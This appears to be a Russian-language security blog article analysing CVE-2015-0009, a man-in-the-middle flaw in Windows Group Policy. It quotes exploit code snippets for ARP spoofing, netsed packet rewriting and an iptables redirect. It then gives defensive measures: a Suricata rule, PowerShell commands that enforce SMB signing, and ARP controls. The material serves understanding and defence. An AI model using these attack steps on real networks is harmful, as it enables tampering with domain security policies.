Уязвимость в механизме Group Policy Windows
Уязвимость в механизме Group Policy Windows
Категория: Программы Теги: Уязвимости Опубликовано: 3 июля 2025

Уязвимость CVE-2015-0009 в Windows

Уязвимость CVE-2015-0009 в механизме Group Policy Security Configuration в Windows позволяет злоумышленнику с позиции "человек посередине" (MitM) подменять ответы контроллера домена. Это приводит к отключению требования цифровой подписи и принудительному сбросу политик безопасности на настройки по умолчанию.

Анализ уязвимости

Уровень опасности: 3.3 LOW
Вектор атаки: AV:A/AC:L/Au:N/C:N/I:P/A:N

  • AV:A (Attack Vector): Сетевая атака в пределах одного сегмента (Adjacent Network)

  • AC:L (Attack Complexity): Низкая сложность эксплуатации

  • Au:N (Authentication): Не требуется аутентификация

  • C:N (Confidentiality Impact): Нет воздействия на конфиденциальность

  • I:P (Integrity Impact): Частичное воздействие на целостность

  • A:N (Availability Impact): Нет воздействия на доступность

Условия эксплуатации

  1. Сетевая позиция: Злоумышленник должен находиться во внутренней сети (L2/L3 сегмент)

  2. Доступ к трафику: Возможность перехватывать/подменять трафик между целевым хостом и контроллером домена

  3. Уязвимые ОС: Windows Server 2003 SP2 → Windows Server 2012 R2

  4. Требуемые сервисы: Работающий механизм групповых политик (GPO)


Технический анализ эксплойта

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием уязвимости CVE-2015-0009.

Цель эксплойта: Коррупция GPO-трафика для сброса политик безопасности, включая отключение SMB Signing.

Ключевые компоненты кода:

# 1. ARP Spoofing для перехвата трафика
def arpSpoof(interface, hostIP, targetIP):
    arpCmd = "arpspoof -i %s %s %s" % (interface, hostIP, targetIP)
    subprocess.Popen(arpCmd.split())

# 2. Подмена пакетов через Netsed
netsedCmd = "netsed tcp 446 0 445 s/%00%5c%00...%00/%00%5c%00...%00%00"
subprocess.Popen(netsedCmd.split())

# 3. Перенаправление портов через iptables
os.system('iptables -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-port 446')

Механика атаки:

  1. ARP Poisoning:
    Эксплойт отравляет ARP-таблицы целевого хоста и контроллеров домена:

    arpSpoof(args['interface'], dc, "-t %s" % (target_ip))
  2. Перехват SMB-трафика:
    iptables перенаправляет SMB-трафик (порт 445) на обработчик Netsed:

    iptables -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-port 446
  3. Модификация GPO:
    Netsed подменяет путь к файлу политики GptTmpl.inf:

    s/%00%5c%00%4d%00%61%00...%00%69%00%6e%00%66%00/...%00%69%00%6e%00%66%00%00

    Эффект: Подмена UTF-16LE строки \Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf

  4. Сброс политик:
    После 4-7 модифицированных пакетов (счётчик в коде) система сбрасывает политики безопасности.


Результаты успешной атаки

  1. Отключение SMB Signing:
    Клиентские системы перестают требовать подписанные SMB-сессии

  2. Активация MS15-011:
    Система становится уязвимой к RCE через подмену DLL

  3. Сброс критичных настроек:

    • Аутентификация LAN Manager

    • Требования к сложности паролей

    • Ограничения доступа к сетевым ресурсам


Практические меры защиты

1. Патчинг и обновление

Установка обновлений.

2. Сегментация сети

Диаграмма - сегментация сети

3. Suricata/Snort правила

Правило для обнаружения подмены GptTmpl.inf:

alert tcp any any -> $HOME_NET 445 ( \
  msg:"CVE-2015-0009 GptTmpl.inf tampering attempt"; \
  flow:established; \
  content:"|5c 00 4d 00 61 00 63 00 68 00 69 00 6e 00 65 00|"; \
  content:"|47 00 70 00 74 00 54 00 6d 00 70 00 6c 00 2e 00 69 00 6e 00 66|"; \
  distance:0; \
  sid:20150009; \
  rev:2;)

Размещение: На границе между сегментами пользователей и контроллеров домена.

4. Hardening политик

# Принудительное включение SMB Signing
Set-SmbClientConfiguration -RequireSecuritySignature $true
Set-SmbServerConfiguration -RequireSecuritySignature $true

5. Контроль ARP-трафика

  • Dynamic ARP Inspection на коммутаторах

  • Статические ARP-записи для критичных хостов

Алексей Черемных Алексей Черемных
19